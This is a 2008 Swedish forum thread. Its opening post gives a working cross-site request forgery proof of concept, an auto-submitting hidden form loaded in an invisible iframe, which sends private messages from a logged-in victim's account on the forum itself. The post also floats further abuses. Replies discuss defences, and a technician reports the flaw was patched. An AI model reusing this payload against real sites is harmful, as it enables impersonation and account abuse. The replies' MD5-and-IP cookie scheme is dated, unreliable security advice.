Flashback bygger pepparkakshus!
  • 1
  • 2
2008-03-30, 16:07
  #1
Medlem
jonsis avatar
<obs>
Var ansvarig, och skyll inte på någon annan om du gör något dummt. Och bidrag med information och exempel, jag är ingen expert

<förbredelse>
Det finns många guider om CRSF, men tänkte visa ett praktiskt exempel , inget fjanteri. Grunderna finns överallt, sök på Google på CSRF
så hittar du mycket.

Dessa är en bra början:

http://www.digitalvenues.se/blogg/20...csrf-attacker/ // svenska
http://en.wikipedia.org/wiki/Cross-site_request_forgery //engelska
http://www.0x000000.com/?i=309 //engelska

<title>
Ett praktiskt exempel på CSRF.
<sammandrag>
Detta är ett proof-of-concept på hur man hittar och utnyttjar CRSF hål.
Inget coolt eller värsta effekten men visar att även Flashback är sårbart för det.

<mål>
Jag vill skicka ett pm till någon men inte från mitt eget account, utan från någon annans användare, av skäl som man själv kan hitta på.

<tillvägagånssätt>
Så jag började med att skicka ett pm till mig själv och kollade hur det ser ut, samtidigt som jag hade en proxy (Paros) i "trap request" läge. Det går även bra med brup eller FF add-onet Tamperdata, eller något som kan "pausa" HTTP-requests.

Fick fram följande action och POST:
Kod:
http://www.flashback.info/private.php

recipients=NICKtoSEND&title=asd&message=asd&wysiwyg=0&iconid=0&s=&do=insertpm&pmid=&forward=&sbutton=Skicka+inl%E4gg&savecopy=1&parseurl=1

Så jag benade upp det till en sida som man kan ladda i en iframe senare.
HTML-kod:
<html>
	 <body>

		 
			 <form name="f" method="POST" action="http://www.flashback.info/private.php">
				 <input type="hidden" name="recipients" value="NICKtoSEND">
				 <input type="hidden" name="title" value="sdfsdfsdfsdf">
				 <input type="hidden" name="message" value="sdfsdfsdfsdf">
				 <input type="hidden" name="wysiwyg" value="0">
				 <input type="hidden" name="iconid" value="0">
				 <input type="hidden" name="s" value="">
				 <input type="hidden" name="do" value="insertpm">
				 <input type="hidden" name="pmid" value="">
				 <input type="hidden" name="forward" value="">
				 <input type="hidden" name="sbutton" value="Skicka+inlägg">
				 <input type="hidden" name="savecopy" value="1">
				 <input type="hidden" name="parseurl" value="1">
				 
			 </form>
			 <script>f.submit()</script>
		 

		 

	 
	 </body>
 </html>
Sedan så laddade jag sidan på följande vis.

HTML-kod:
  <html>
	 <body>
		 <iframe src="skickapmFlash.htm" width="1" height="1" frameborder="0"></iframe>
		 
	 
		 <iframe src="http://www.google.com" width="100%" height="100%" frameborder="0"></iframe>
	 
	 </body>
 </html>

Slängde upp båda sidorna på en webserver och besökte den som laddar iframen, samtidigt som jag är inloggad på FB.

Kollade min inbox och vips så hade jag ett nytt pm.




<slutsats>
Man kanske tycker att det inte är så stor fara eftersom man måste klicka/besöka en länk samtidigt som man är inloggad, och det är sant, det
här är inte gjort för någon spridning i wormklass utan för personligt bruk. Finns massor med folk som trycker på första bästa länk de får/ser.
Och just på FB så finns det inte så mycket som är intressant att göra.

Men gör det på någon Bilddagbok-användare, radera hans/hennes bilder, ändra dens presentation och lägga till sig själv annonymt på dens vänlista så att man kan kolla deras privata saker är kanske mer lockade. Eller föra över pengar från någons bankkonto när de klickar på en länk. Då börjar det bli allvar.

På Forum/communities har man oftast även fördelen att man kan se om användaren är online eller inte. =P.
Och ja, jag vet att jag inte beskrivit varenda steg så att en bäbis kan klara av det, utan bara det som räcker för en normal intelligent människa med små google-kunskaper.


<skydd>
Men är man smart så skyddar man sig själv genom att ha No-script add-on:et till FF installerat.
Citera
2008-03-30, 16:13
  #2
Medlem
RoofleTrains avatar
Citat:
Ursprungligen postat av jonsi
[...]
Rolig läsning, tyvärr är CSRF otroligt vanligt fastän det är otroligt lätt att förhindra. Google har haft otaliga, även hotmail och 'lunajstojm' så det visar ju lite hur förbisett problemet faktist är. Nåväl, får se om FB-crew fixar detta lite snabbt. Har inte testat koden själv, så vet inte om det fungerar men det såg ingående ut så det gör det nog, hehe.
Citera
2008-03-30, 16:25
  #3
Medlem
jonsis avatar
Jo hålen finns/funnits på nästan alla sidor som man kan göra något på.

Och om Flashback. Det finns fler hål/svagheter i privat. Man kan nog ändra på allt förutom lösen/mail. Men som sagt så är det inte så intressant att göra saker på FB förutsatt att man vill smutskasta någon.

Men man borde egentligen kunna sno pm:s också, tror jag.
Citera
2008-03-30, 20:59
  #4
Medlem
Optimists avatar
Citat:
Ursprungligen postat av jonsi
Men man borde egentligen kunna sno pm:s också, tror jag.

Kanske något med innerHTML?
typ http://www.gnucitizen.org/blog/web-pages-from-hell/

SÄPO har väl fullt upp nu med att sno PM:s nu.

edit: Självklart behöver du då också xss. Glöm ovanstående.
__________________
Senast redigerad av Optimist 2008-03-30 kl. 21:41.
Citera
2008-03-30, 21:01
  #5
Medlem
belboolas avatar
intresant
Citera
2008-03-30, 21:14
  #6
Medlem
xobs avatar
kombinera det med xss och det blir riktigt kul!
Citera
2008-03-30, 21:55
  #7
Medlem
sebnies avatar
Skitlätt att skydda sig emot!

Först slänger man in en bekräftelsesida och sedan en Captcha.
Ungefär som här:
http://www.sebn.1.vg/bekrafta.html (Nej detta är ingen CSRF-sida om ni tror det, och sidan är bara ett exempel, därför är captchan alltid samma och formuläret funkar ej)

På en riktig sida ska man naturligtvis ha en riktig captcha som genereras och ändrar sig för varje sidvisning.

Då signerar man typ ju transaktionen med en captcha och då kan man inte skylla på att någon automatisk process har gjort det.

Kombinera det med ett bra cookieskydd. Ex:
cookie = value & "#" & md5( value & REMOTE_ADDR & serverpassword )
där serverpassword är ett låångt slumpmässigt lösenord som sparas i scriptet.

Sedan så har du bra skydd mot både XSS och CSRF!

(Iochmed att clientens ipnummer krypteras in i hashen i cookien så kan man inte stjäla den för om något annat ip-nummer använder cookien så är den ogiltig eftersom hashen blir felaktig när man rekonstruerar den. Sedan har man Captchaverifiering och då kan ingen automatisk process tex script göra nått)


Att använda tokens är också en bra idé.
Dvs att man som beskrivet ser till att det är formuläret som används.
Dessutom bör man då göra så att token i så fall är användarnamnet + en slumpmässig sträng och sedan MD5 på detta. För att förhindra att en attackerare skapar ett eget konto på sajten, och använder ett CGI-script för att hämta ett giltigt Token-värde från formuläret och använder det för att skapa sitt eget formulär

Tänk dig detta:
cookie = användarnamn & md5(slumpsträng & REMOTE_ADDR & användarnamn & serverpassword)

Och sedan lägger man bara med slumpsträng i formuläret. Ett ganska så bombsäkert skydd, för slumpsträng är både knutit till clientens IP och till användarens användarnamn.


Att kräva lösenord varje gång man gör något är en dålig idé. Har man redan identifierat sig så har man redan gjort det.
En grej som kan vara bra att göra är att införa någon form av Tokens för varje länkklick genom Querystringen, och som lagras på serversidan.

På så sätt blir förra sidans alla länkar ogiltiga så fort man klickar på en länk. Ett användandet av en korrekt men ogiltig länk bör logga ut användaren direkt.
Då har man skyddat sig mot MITM också.
__________________
Senast redigerad av sebnie 2008-03-30 kl. 22:16.
Citera
2008-03-30, 21:55
  #8
Tekniker
bengs avatar
Problemet med insertpm är nu temporärt löst med tokens. Det jobbas för tillfället med att gå igenom all kod samtidigt som det byggs ett nytt captcha-system som kommer införas överallt där det är möjligt. Vi har inte velat göra det tidigare men vi har insett att vi är tvungna.
Citera
2008-03-30, 22:15
  #9
Medlem
jonsis avatar
Bra att det löses så fort.

Men det skulle vara fint med en transparent lösning (som tokens), och inte captcha. Så jobbigt och fylla i captchor för allt man gör.
Citera
2008-03-30, 22:18
  #10
Medlem
sebnies avatar
Om man vill göra det enkelt så kan man ha en failure-counter lagrat i databasen för den aktuella användaren.

Alla captchas är från början typ 3 bokstäver. Misslyckas man så ökas captchan med 1 bokstav för varje försök tills den är på 8 bokstäver, där ökas den inte längre.

Dvs misslyckas man så blir nästa captcha 4 bokstäver lång. Misslyckas man igen så blir den 5 bokstäver långt... ända tills den är 8 bokstäver lång.

En korrekt inskriven captcha återställer failure-countern = captchan blir på 3 bokstäver igen.
__________________
Senast redigerad av sebnie 2008-03-30 kl. 22:20.
Citera
2008-03-31, 13:04
  #11
Medlem
Någon som har lust att förklara det lite mera med iframe funktion?

Fattar det mesta men man kan inte få nog av information
Citera
2008-03-31, 17:15
  #12
Medlem
xobs avatar
Citat:
Ursprungligen postat av SweCrime
Någon som har lust att förklara det lite mera med iframe funktion?

Fattar det mesta men man kan inte få nog av information
<iframe src="http://google.se"></iframe>

?
Citera
  • 1
  • 2

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in